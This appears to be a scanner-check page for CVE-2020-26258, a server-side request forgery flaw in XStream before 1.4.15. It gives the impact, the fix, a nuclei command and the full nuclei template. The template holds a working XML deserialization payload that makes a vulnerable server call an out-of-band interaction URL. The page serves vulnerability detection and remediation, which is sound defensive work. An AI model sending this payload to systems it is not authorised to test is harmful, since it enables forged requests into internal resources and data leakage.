XStream <1.4.15 - Server-Side Request Forgery

highseverity

7.7CVSS score

81.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.

Impact

An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks.

Fix

Install at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: Java"

Run it with nuclei: nuclei -id CVE-2020-26258 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-26258

info:
  name: XStream <1.4.15 - Server-Side Request Forgery
  author: pwnhxl
  severity: high
  description: |
    XStream before 1.4.15 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations.
  impact: |
    An attacker can exploit this vulnerability to make requests to internal resources, potentially leading to data leakage or further attacks.
  remediation: Install at least 1.4.15 if you rely on XStream's default blacklist of the Security Framework, and at least Java 15 or higher.
  reference:
    - https://x-stream.github.io/CVE-2020-26258.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-26258
    - https://github.com/x-stream/xstream/security/advisories/GHSA-4cch-wxpw-8p28
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26258
    - https://lists.apache.org/thread.html/r97993e3d78e1f5389b7b172ba9f308440830ce5f051ee62714a0aa34@%3Ccommits.struts.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-26258
    cwe-id: CWE-918
    epss-score: 0.81817
    epss-percentile: 0.9965
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve,cve2020,xstream,ssrf,oast,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <map>
          <entry>
            <jdk.nashorn.internal.objects.NativeString>
              <flags>0</flags>
              <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
                <dataHandler>
                  <dataSource class='javax.activation.URLDataSource'>
                    <url>http://{{interactsh-url}}/internal/:</url>
                  </dataSource>
                  <transferFlavors/>
                </dataHandler>
                <dataLen>0</dataLen>
              </value>
            </jdk.nashorn.internal.objects.NativeString>
            <string>test</string>
          </entry>
        </map>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: Java"

References

Use this check only on systems you are authorised to test. Where the data comes from